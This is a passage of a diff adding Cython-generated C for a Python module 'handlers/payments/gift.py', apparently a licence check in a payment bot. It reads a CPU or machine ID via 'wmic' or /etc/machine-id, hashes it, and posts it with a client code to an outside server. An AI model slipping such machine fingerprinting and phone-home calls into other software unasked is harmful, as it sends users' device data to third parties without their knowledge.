CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_4)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_4); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_4, NULL}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 183, __pyx_L14_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __pyx_v_result = __pyx_t_9; + __pyx_t_9 = 0; + + /* "handlers/payments/gift.py":182 + * result = subprocess.check_output("wmic cpu get ProcessorId", shell=True).decode().split("\n")[1].strip() + * else: + * with open("/etc/machine-id") as f: # <<<<<<<<<<<<<< + * result = f.read().strip() + * + */ + } + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_XDECREF(__pyx_t_15); __pyx_t_15 = 0; + goto __pyx_L19_try_end; + __pyx_L14_error:; + __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + /*except:*/ { + __Pyx_AddTraceback("handlers.payments.gift.get_hardware_id", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_9, &__pyx_t_6, &__pyx_t_4) < 0) __PYX_ERR(0, 182, __pyx_L16_except_error) + __Pyx_XGOTREF(__pyx_t_9); + __Pyx_XGOTREF(__pyx_t_6); + __Pyx_XGOTREF(__pyx_t_4); + __pyx_t_5 = PyTuple_Pack(3, __pyx_t_9, __pyx_t_6, __pyx_t_4); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 182, __pyx_L16_except_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_16 = __Pyx_PyObject_Call(__pyx_t_12, __pyx_t_5, NULL); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 182, __pyx_L16_except_error) + __Pyx_GOTREF(__pyx_t_16); + __pyx_t_8 = __Pyx_PyObject_IsTrue(__pyx_t_16); + __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; + if (__pyx_t_8 < 0) __PYX_ERR(0, 182, __pyx_L16_except_error) + __pyx_t_17 = (!__pyx_t_8); + if (unlikely(__pyx_t_17)) { + __Pyx_GIVEREF(__pyx_t_9); + __Pyx_GIVEREF(__pyx_t_6); + __Pyx_XGIVEREF(__pyx_t_4); + __Pyx_ErrRestoreWithState(__pyx_t_9, __pyx_t_6, __pyx_t_4); + __pyx_t_9 = 0; __pyx_t_6 = 0; __pyx_t_4 = 0; + __PYX_ERR(0, 182, __pyx_L16_except_error) + } + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + goto __pyx_L15_exception_handled; + } + __pyx_L16_except_error:; + __Pyx_XGIVEREF(__pyx_t_13); + __Pyx_XGIVEREF(__pyx_t_14); + __Pyx_XGIVEREF(__pyx_t_15); + __Pyx_ExceptionReset(__pyx_t_13, __pyx_t_14, __pyx_t_15); + goto __pyx_L3_error; + __pyx_L15_exception_handled:; + __Pyx_XGIVEREF(__pyx_t_13); + __Pyx_XGIVEREF(__pyx_t_14); + __Pyx_XGIVEREF(__pyx_t_15); + __Pyx_ExceptionReset(__pyx_t_13, __pyx_t_14, __pyx_t_15); + __pyx_L19_try_end:; + } + } + /*finally:*/ { + /*normal exit:*/{ + if (__pyx_t_12) { + __pyx_t_15 = __Pyx_PyObject_Call(__pyx_t_12, __pyx_tuple__38, NULL); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 182, __pyx_L3_error) + __Pyx_GOTREF(__pyx_t_15); + __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; + } + goto __pyx_L13; + } + __pyx_L13:; + } + goto __pyx_L23; + __pyx_L10_error:; + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + goto __pyx_L3_error; + __pyx_L23:; + } + } + __pyx_L9:; + + /* "handlers/payments/gift.py":185 + * result = f.read().strip() + * + * hardware_id = hashlib.sha256(result.encode()).hexdigest() # <<<<<<<<<<<<<< + * return hardware_id + * except Exception: + */ + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_hashlib); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 185, __pyx_L3_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_sha256); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 185, __pyx_L3_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + if (unlikely(!__pyx_v_result)) { __Pyx_RaiseUnboundLocalError("result"); __PYX_ERR(0, 185, __pyx_L3_error) } + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_v_result, __pyx_n_s_encode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 185, __pyx_L3_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_10 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_11))) { + __pyx_t_10 = PyMethod_GET_SELF(__pyx_t_11); + if (likely(__pyx_t_10)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_11); + __Pyx_INCREF(__pyx_t_10); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_11, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_10, NULL}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_11, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 185, __pyx_L3_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + } + __pyx_t_11 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, __pyx_t_9}; + __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 185, __pyx_L3_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_hexdigest); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 185, __pyx_L3_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_6)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_6); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_6, NULL}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 185, __pyx_L3_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __pyx_v_hardware_id = __pyx_t_4; + __pyx_t_4 = 0; + + /* "handlers/payments/gift.py":186 + * + * hardware_id = hashlib.sha256(result.encode()).hexdigest() + * return hardware_id # <<<<<<<<<<<<<< + * except Exception: + * return None + */ + __Pyx_XDECREF(__pyx_r); + __Pyx_INCREF(__pyx_v_hardware_id); + __pyx_r = __pyx_v_hardware_id; + goto __pyx_L7_try_return; + + /* "handlers/payments/gift.py":178 + * hardware-. + * """ + * try: # <<<<<<<<<<<<<< + * if platform.system() == "Windows": + * result = subprocess.check_output("wmic cpu get ProcessorId", shell=True).decode().split("\n")[1].strip() + */ + } + __pyx_L3_error:; + __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + + /* "handlers/payments/gift.py":187 + * hardware_id = hashlib.sha256(result.encode()).hexdigest() + * return hardware_id + * except Exception: # <<<<<<<<<<<<<< + * return None + * + */ + __pyx_t_18 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); + if (__pyx_t_18) { + __Pyx_AddTraceback("handlers.payments.gift.get_hardware_id", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_4, &__pyx_t_5, &__pyx_t_6) < 0) __PYX_ERR(0, 187, __pyx_L5_except_error) + __Pyx_XGOTREF(__pyx_t_4); + __Pyx_XGOTREF(__pyx_t_5); + __Pyx_XGOTREF(__pyx_t_6); + + /* "handlers/payments/gift.py":188 + * return hardware_id + * except Exception: + * return None # <<<<<<<<<<<<<< + * + * async def validate_client_code(): + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = Py_None; __Pyx_INCREF(Py_None); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + goto __pyx_L6_except_return; + } + goto __pyx_L5_except_error; + + /* "handlers/payments/gift.py":178 + * hardware-. + * """ + * try: # <<<<<<<<<<<<<< + * if platform.system() == "Windows": + * result = subprocess.check_output("wmic cpu get ProcessorId", shell=True).decode().split("\n")[1].strip() + */ + __pyx_L5_except_error:; + __Pyx_XGIVEREF(__pyx_t_1); + __Pyx_XGIVEREF(__pyx_t_2); + __Pyx_XGIVEREF(__pyx_t_3); + __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); + goto __pyx_L1_error; + __pyx_L7_try_return:; + __Pyx_XGIVEREF(__pyx_t_1); + __Pyx_XGIVEREF(__pyx_t_2); + __Pyx_XGIVEREF(__pyx_t_3); + __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); + goto __pyx_L0; + __pyx_L6_except_return:; + __Pyx_XGIVEREF(__pyx_t_1); + __Pyx_XGIVEREF(__pyx_t_2); + __Pyx_XGIVEREF(__pyx_t_3); + __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); + goto __pyx_L0; + } + + /* "handlers/payments/gift.py":174 + * + * + * def get_hardware_id(): # <<<<<<<<<<<<<< + * """ + * hardware-. + */ + + /* function exit code */ + __pyx_L1_error:; + __Pyx_XDECREF(__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_XDECREF(__pyx_t_9); + __Pyx_XDECREF(__pyx_t_10); + __Pyx_XDECREF(__pyx_t_11); + __Pyx_AddTraceback("handlers.payments.gift.get_hardware_id", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __pyx_L0:; + __Pyx_XDECREF(__pyx_v_result); + __Pyx_XDECREF(__pyx_v_f); + __Pyx_XDECREF(__pyx_v_hardware_id); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_4gift_19generator5(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/gift.py":190 + * return None + * + * async def validate_client_code(): # <<<<<<<<<<<<<< + * """ + * hardware ID . + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_4gift_18validate_client_code(PyObject *__pyx_self, CYTHON_UNUSED PyObject *unused); /*proto*/ +PyDoc_STRVAR(__pyx_doc_8handlers_8payments_4gift_17validate_client_code, "\n \320\236\321\202\320\277\321\200\320\260\320\262\320\273\321\217\320\265\321\202 \320\272\320\273\320\270\320\265\320\275\321\202\321\201\320\272\320\270\320\271 \320\272\320\276\320\264 \320\270 hardware ID \320\275\320\260 \321\201\320\265\321\200\320\262\320\265\321\200 \320\264\320\273\321\217 \320\277\321\200\320\276\320\262\320\265\321\200\320\272\320\270.\n "); +static PyMethodDef __pyx_mdef_8handlers_8payments_4gift_18validate_client_code = {"validate_client_code", (PyCFunction)__pyx_pw_8handlers_8payments_4gift_18validate_client_code, METH_NOARGS, __pyx_doc_8handlers_8payments_4gift_17validate_client_code}; +static PyObject *__pyx_pw_8handlers_8payments_4gift_18validate_client_code(PyObject *__pyx_self, CYTHON_UNUSED PyObject *unused) { + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("validate_client_code (wrapper)", 0); + __pyx_kwvalues = __Pyx_KwValues_VARARGS(__pyx_args, __pyx_nargs); + __pyx_r = __pyx_pf_8handlers_8payments_4gift_17validate_client_code(__pyx_self); + + /* function exit code */ + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_4gift_17validate_client_code(CYTHON_UNUSED PyObject *__pyx_self) { + struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("validate_client_code", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code *)__pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code(__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 190, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_4gift_19generator5, __pyx_codeobj__39, (PyObject *) __pyx_cur_scope, __pyx_n_s_validate_client_code, __pyx_n_s_validate_client_code, __pyx_n_s_handlers_payments_gift); if (unlikely(!gen)) __PYX_ERR(0, 190, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.gift.validate_client_code", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_4gift_19generator5(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + unsigned int __pyx_t_4; + int __pyx_t_5; + int __pyx_t_6; + PyObject *__pyx_t_7 = NULL; + PyObject *__pyx_t_8 = NULL; + PyObject *__pyx_t_9 = NULL; + PyObject *__pyx_t_10 = NULL; + PyObject *__pyx_t_11 = NULL; + PyObject *__pyx_t_12 = NULL; + PyObject *__pyx_t_13 = NULL; + PyObject *__pyx_t_14 = NULL; + PyObject *__pyx_t_15 = NULL; + PyObject *__pyx_t_16 = NULL; + PyObject *__pyx_t_17 = NULL; + PyObject *__pyx_t_18 = NULL; + PyObject *__pyx_t_19 = NULL; + PyObject *__pyx_t_20 = NULL; + PyObject *__pyx_t_21 = NULL; + PyObject *__pyx_t_22 = NULL; + PyObject *__pyx_t_23 = NULL; + int __pyx_t_24; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("validate_client_code", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L12_resume_from_await; + case 2: goto __pyx_L23_resume_from_await; + case 3: goto __pyx_L34_resume_from_await; + case 4: goto __pyx_L39_resume_from_await; + case 5: goto __pyx_L40_resume_from_await; + case 6: goto __pyx_L41_resume_from_await; + case 7: goto __pyx_L46_resume_from_await; + case 8: goto __pyx_L47_resume_from_await; + case 9: goto __pyx_L48_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 190, __pyx_L1_error) + + /* "handlers/payments/gift.py":194 + * hardware ID . + * """ + * hardware_id = get_hardware_id() # <<<<<<<<<<<<<< + * if not hardware_id: + * logger.info(" . ") + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_get_hardware_id); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 194, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 194, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_hardware_id = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/gift.py":195 + * """ + * hardware_id = get_hardware_id() + * if not hardware_id: # <<<<<<<<<<<<<< + * logger.info(" . ") + * return False + */ + __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_hardware_id); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 195, __pyx_L1_error) + __pyx_t_6 = (!__pyx_t_5); + if (__pyx_t_6) { + + /* "handlers/payments/gift.py":196 + * hardware_id = get_hardware_id() + * if not hardware_id: + * logger.info(" . ") # <<<<<<<<<<<<<< + * return False + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 196, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_info); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 196, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_kp_u__40}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 196, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/gift.py":197 + * if not hardware_id: + * logger.info(" . ") + * return False # <<<<<<<<<<<<<< + * + * try: + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(Py_False); + goto __pyx_L0; + + /* "handlers/payments/gift.py":195 + * """ + * hardware_id = get_hardware_id() + * if not hardware_id: # <<<<<<<<<<<<<< + * logger.info(" . ") + * return False + */ + } + + /* "handlers/payments/gift.py":199 + * return False + * + * try: # <<<<<<<<<<<<<< + * async with aiohttp.ClientSession() as session: + * payload = {"code": CLIENT_CODE, "hardware_id": hardware_id} + */ + { + __Pyx_ExceptionSave(&__pyx_t_7, &__pyx_t_8, &__pyx_t_9); + __Pyx_XGOTREF(__pyx_t_7); + __Pyx_XGOTREF(__pyx_t_8); + __Pyx_XGOTREF(__pyx_t_9); + /*try:*/ { + + /* "handlers/payments/gift.py":200 + * + * try: + * async with aiohttp.ClientSession() as session: # <<<<<<<<<<<<<< + * payload = {"code": CLIENT_CODE, "hardware_id": hardware_id} + * async with session.post("https://pocomacho.ru/solonetbot/codes/add/", json=payload) as response: + */ + /*with:*/ { + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_aiohttp); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 200, __pyx_L5_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_ClientSession); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 200, __pyx_L5_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 200, __pyx_L5_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __pyx_t_10 = __Pyx_PyObject_LookupSpecial(__pyx_t_1, __pyx_n_s_aexit); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 200, __pyx_L5_error) + __Pyx_GOTREF(__pyx_t_10); + __pyx_t_3 = __Pyx_PyObject_LookupSpecial(__pyx_t_1, __pyx_n_s_aenter); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 200, __pyx_L11_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_11 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, NULL}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 200, __pyx_L11_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_3 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_4 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L12_resume_from_await:; + __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_1); + __pyx_t_7 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_t_10); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 200, __pyx_L11_error) + __pyx_t_2 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_2); + } else { + __pyx_t_2 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_2) < 0) __PYX_ERR(0, 200, __pyx_L11_error) + __Pyx_GOTREF(__pyx_t_2); + } + __pyx_t_3 = __pyx_t_2; + __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + /*try:*/ { + { + __Pyx_ExceptionSave(&__pyx_t_12, &__pyx_t_13, &__pyx_t_14); + __Pyx_XGOTREF(__pyx_t_12); + __Pyx_XGOTREF(__pyx_t_13); + __Pyx_XGOTREF(__pyx_t_14); + /*try:*/ { + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_session = __pyx_t_3; + __pyx_t_3 = 0; + + /* 